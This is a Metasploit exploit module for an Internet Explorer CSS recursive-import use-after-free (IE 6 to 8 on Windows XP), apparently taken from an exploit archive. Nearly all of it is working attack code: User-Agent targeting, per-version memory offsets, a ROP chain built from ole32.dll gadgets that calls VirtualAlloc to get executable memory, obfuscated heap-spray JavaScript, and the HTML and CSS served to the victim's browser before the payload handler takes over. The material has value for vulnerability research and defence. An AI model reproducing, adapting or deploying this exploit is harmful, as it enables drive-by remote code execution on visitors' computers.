Internet Explorer CSS Recursive Import Use After Free

`##  
# $Id: ms11_xxx_ie_css_import.rb 11383 2010-12-20 16:34:07Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking # Need more love for Great  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::Remote::BrowserAutopwn  
autopwn_info({  
:ua_name => HttpClients::IE,  
:ua_minver => "7.0", # Should be 6  
:ua_maxver => "8.0",  
:javascript => true,  
:os_name => OperatingSystems::WINDOWS,  
:vuln_test => nil, # no way to test without just trying it  
})  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Internet Explorer CSS Recursive Import Use After Free',  
'Description' => %q{  
Thie module exploits a memory corruption vulnerability within Microsoft\'s  
HTML engine (mshtml). When parsing an HTML page containing a recursive CSS  
import, a C++ object is deleted and later reused. This leads to arbitrary  
code execution.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'WooYun', # Initial discovery / report  
'd0c_s4vage', # First working public exploit  
'jduck' # Metasploit module (ROP, @WTFuzz spray)  
],  
'Version' => '$Revision: 11383 $',  
'References' =>  
[  
#[ 'CVE', '2010-????' ],  
[ 'OSVDB', '69796' ],  
[ 'BID', '45246' ],  
#[ 'URL', 'http://www.microsoft.com/technet/security/advisory/XXXXXX.mspx' ],  
[ 'URL', 'http://www.wooyun.org/bugs/wooyun-2010-0885' ],  
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Dec/110' ],  
[ 'URL', 'http://www.breakingpointsystems.com/community/blog/ie-vulnerability/' ]  
#[ 'MSB', 'MS11-XXX' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'InitialAutoRunScript' => 'migrate -f',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
'DisableNops' => true  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', { } ],  
  
[ 'Internet Explorer 8',  
{  
'Ret' => 0x105ae020,  
'OnePtrOff' => 0x18,  
'DerefOff' => 0x30,  
'FlagOff' => 0x54,  
'CallDeref1' => 0x20,  
'SignedOff' => 0x1c,  
'CallDeref2' => 0x24,  
'CallDeref3' => 0x00,  
'CallDeref4' => 0x20,  
'Deref4Off' => 0x08  
}  
],  
  
[ 'Internet Explorer 7',  
{  
'Ret' => 0x105ae020,  
'OnePtrOff' => 0x14,  
'DerefOff' => 0x5c,  
'FlagOff' => 0x34,  
'CallDeref1' => 0x1c,  
'SignedOff' => 0x18,  
'CallDeref2' => 0x20,  
'CallDeref3' => 0x00,  
'CallDeref4' => 0x20,  
'Deref4Off' => 0x08  
}  
],  
  
# For now, treat the IE6 target the same as teh debug target.  
[ 'Internet Explorer 6',  
{  
'Ret' => 0xc0c0c0c0,  
'OnePtrOff' => 0x14,  
'DerefOff' => 0x5c,  
'FlagOff' => 0x34,  
'CallDeref1' => 0x1c,  
'SignedOff' => 0x18,  
'CallDeref2' => 0x20,  
'CallDeref3' => 0x00,  
'CallDeref4' => 0x20,  
'Deref4Off' => 0x08  
}  
],  
  
[ 'Debug Target (Crash)',  
{  
'Ret' => 0xc0c0c0c0,  
'OnePtrOff' => 0,  
'DerefOff' => 4,  
'FlagOff' => 8,  
'CallDeref1' => 0xc,  
'SignedOff' => 0x10,  
'CallDeref2' => 0x14,  
'CallDeref3' => 0x18,  
'CallDeref4' => 0x1c,  
'Deref4Off' => 0x20  
}  
]  
],  
# Full-disclosure post was Dec 8th, original blog Nov 29th  
'DisclosureDate' => 'Nov 29 2010',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptBool.new('OldOle32', [ true, 'Whether the target has MS10-083 or not.', false ])  
], self.class)  
end  
  
  
def auto_target(cli, request)  
mytarget = nil  
  
agent = request.headers['User-Agent']  
print_status("Checking user agent: #{agent}")  
if agent =~ /MSIE 6\.0/  
mytarget = targets[3]  
elsif agent =~ /MSIE 7\.0/  
mytarget = targets[2]  
elsif agent =~ /MSIE 8\.0/  
mytarget = targets[1]  
else  
print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")  
end  
mytarget  
end  
  
  
def on_request_uri(cli, request)  
  
print_status("Received request for %s" % request.uri.inspect)  
  
mytarget = target  
if target.name == 'Automatic'  
mytarget = auto_target(cli, request)  
if (not mytarget)  
send_not_found(cli)  
return  
end  
end  
  
buf_addr = mytarget.ret  
css_name = [buf_addr].pack('V') * (16 / 4)  
  
# We stick in a placeholder string to replace after UTF-16 encoding  
placeholder = "a" * (css_name.length / 2)  
uni_placeholder = Rex::Text.to_unicode(placeholder)  
  
if request.uri == get_resource() or request.uri =~ /\/$/  
print_status("Sending #{self.refname} redirect to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")  
  
redir = get_resource()  
redir << '/' if redir[-1,1] != '/'  
redir << rand_text_alphanumeric(4+rand(4))  
redir << '.html'  
send_redirect(cli, redir)  
  
elsif request.uri =~ /\.html?$/  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
print_status("Sending #{self.refname} HTML to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")  
  
# Generate the ROP payload  
# We need a different set of RVAs without MS10-083. Can we detect this remotely?  
if datastore['OldOle32']  
rvas = rvas_pre()  
else  
rvas = rvas_post()  
end  
rop_stack = generate_rop(buf_addr, rvas)  
fix_esp = rva2addr(rvas, 'ret 0x38')  
ret = rva2addr(rvas, 'ret')  
pivot = rva2addr(rvas, 'xchg eax, esp / ret')  
  
# Append the payload to the rop_stack  
rop_stack << p.encoded  
  
# Build the deref-fest buffer  
len = 0x84 + rop_stack.length  
special_sauce = rand_text_alpha(len)  
  
# This ptr + off must contain 0x00000001  
special_sauce[mytarget['OnePtrOff'], 4] = [1].pack('V')  
  
# Pointer that is dereferenced to get the flag  
special_sauce[mytarget['DerefOff'], 4] = [buf_addr].pack('V')  
  
# Low byte must not have bit 1 set  
no_bit1 = rand(0xffffffff) & ~2  
special_sauce[mytarget['FlagOff'], 4] = [no_bit1].pack('V')  
  
# These are deref'd to figure out what to call  
special_sauce[mytarget['CallDeref1'], 4] = [buf_addr].pack('V')  
special_sauce[mytarget['CallDeref2'], 4] = [buf_addr].pack('V')  
special_sauce[mytarget['CallDeref3'], 4] = [buf_addr + mytarget['Deref4Off']].pack('V')  
# Finally, this one becomes eip  
special_sauce[mytarget['CallDeref4'] + mytarget['Deref4Off'], 4] = [pivot].pack('V')  
  
# This byte must be signed (shorter path to flow control)  
signed_byte = rand(0xff) | 0x80  
special_sauce[mytarget['SignedOff'], 1] = [signed_byte].pack('C')  
  
# These offsets become a fix_esp ret chain ..  
special_sauce[0x08, 4] = [fix_esp].pack('V') # our stack pivot ret's to this (fix_esp, from eax)  
special_sauce[0x0c, 4] = [fix_esp].pack('V') # part two of fixing esp (two esp+=0x3c)  
special_sauce[0x48, 4] = [ret].pack('V') # ropnop, continue as ESP is where we want it now.  
  
# Add in the rest of the ROP stack  
special_sauce[0x84, rop_stack.length] = rop_stack  
  
# Format for javascript use  
special_sauce = Rex::Text.to_unescape(special_sauce)  
  
# Construct the javascript  
custom_js = <<-EOS  
function prepare() {  
heap = new heapLib.ie(0x20000);  
var heapspray = unescape("#{special_sauce}");  
while(heapspray.length < 0x1000) heapspray += unescape("%u4444");  
var heapblock = heapspray;  
while(heapblock.length < 0x40000) heapblock += heapblock;  
finalspray = heapblock.substring(2, 0x40000 - 0x21);  
for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); }  
}  
  
function start() {  
prepare();  
var vlink = document.createElement("link");  
vlink.setAttribute("rel", "Stylesheet");  
vlink.setAttribute("type", "text/css");  
vlink.setAttribute("href", "#{placeholder}")  
document.getElementsByTagName("head")[0].appendChild(vlink);  
}  
EOS  
opts = {  
'Symbols' => {  
'Variables' => %w{ heapspray vlink heapblock heap finalspray counter },  
'Methods' => %w{ prepare }  
}  
}  
custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts)  
js = heaplib(custom_js)  
  
# Construct the final page  
html = <<-EOS  
<html>  
<head>  
<script language='javascript'>  
#{js}  
</script>  
</head>  
<body onload='start()'>  
</body>  
</html>  
EOS  
html = "\xff\xfe" + Rex::Text.to_unicode(html)  
html.gsub!(uni_placeholder, css_name)  
  
send_response(cli, html, { 'Content-Type' => 'text/html' })  
  
else  
css = <<-EOS  
@import url("#{placeholder}");  
@import url("#{placeholder}");  
@import url("#{placeholder}");  
@import url("#{placeholder}");  
EOS  
css = "\xff\xfe" + Rex::Text.to_unicode(css)  
css.gsub!(uni_placeholder, css_name)  
  
print_status("Sending #{self.refname} CSS to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")  
  
send_response(cli, css, { 'Content-Type' => 'text/css' })  
  
end  
  
# Handle the payload  
handler(cli)  
  
end  
  
def rvas_post()  
# ole32.dll version 5.1.2600.6010, post MS10-083  
# Just return this hash  
{  
'xchg eax, esp / ret' => 0x7b60e,  
'ret 0x38' => 0x607f1,  
'ret' => 0x7b60e+1,  
'push eax / ret' => 0x1d1e4,  
'pop eax / ret' => 0x58cab,  
'pop ebx / ret' => 0x1da39,  
'pop ecx / ret' => 0x50479,  
'mov eax, [eax] / ret' => 0x22a20,  
'mov [ecx], eax / xor eax, eax / pop esi / ret' => 0x360b9,  
'xor edi, edi / adc eax, 0x774e13b4 / pop ebp / ret 4' => 0xd87c2,  
'add edi, [ebx] / ret' => 0x2cc26,  
'rep movsb / pop edi / pop esi / ret' => 0x372c6,  
'call [ebx]' => 0x2ad9  
}  
end  
  
def rvas_pre()  
# ole32.dll version 5.1.2600.5512, pre MS10-083  
# Just return this hash  
{  
'xchg eax, esp / ret' => 0x7b5e6,  
'ret 0x38' => 0x607c7,  
'ret' => 0x7b5e6+1,  
'push eax / ret' => 0x1d264,  
'pop eax / ret' => 0x1af34,  
'pop ebx / ret' => 0x1dae4,  
'pop ecx / ret' => 0x4f82a,  
'mov eax, [eax] / ret' => 0x22ef3,  
'mov [ecx], eax / xor eax, eax / pop esi / ret' => 0x36589,  
'xor edi, edi / adc eax, 0x774e13b4 / pop ebp / ret 4' => 0xd858a,  
'add edi, [ebx] / ret' => 0x2d0f6,  
'rep movsb / pop edi / pop esi / ret' => 0x37796,  
'call [ebx]' => 0x2ad9  
}  
end  
  
def generate_rop(buf_addr, rvas)  
# ROP fun! (XP SP3 English, Dec 15 2010)  
rvas.merge!({  
# Instructions / Name => RVA  
'BaseAddress' => 0x774e0000,  
'imp_VirtualAlloc' => 0x1448,  
'Writable' => 0x12719c  
})  
  
rop_stack = [  
# Allocate an RWX memory segment  
'pop eax / ret',  
'imp_VirtualAlloc',  
  
'mov eax, [eax] / ret',  
'push eax / ret',  
'ret',  
0, # lpAddress  
0x1000, # dwSize  
0x3000, # flAllocationType  
0x40, # flProt  
  
# Copy the original payload  
'pop ecx / ret',  
'Writable',  
  
'mov [ecx], eax / xor eax, eax / pop esi / ret',  
:memcpy_src,  
  
'xor edi, edi / adc eax, 0x774e13b4 / pop ebp / ret 4',  
:unused,  
  
'pop ebx / ret',  
:unused,  
'Writable',  
  
'add edi, [ebx] / ret',  
  
'pop ecx / ret',  
0x200,  
  
'rep movsb / pop edi / pop esi / ret',  
:unused,  
:unused,  
  
# Execute the payload ;)  
'call [ebx]'  
]  
  
rop_stack.map! { |e|  
if e.kind_of? String  
# Meta-replace (RVA)  
raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e]  
rvas['BaseAddress'] + rvas[e]  
  
elsif e == :unused  
# Randomize  
rand_text(4).unpack('V').first  
  
elsif e == :memcpy_src  
# Based on stack length..  
buf_addr + 0x84 + (rop_stack.length * 4)  
  
else  
# Literal  
e  
end  
}  
  
rop_stack.pack('V*')  
end  
  
def rva2addr(rvas, key)  
raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key]  
rvas['BaseAddress'] + rvas[key]  
end  
  
end  
`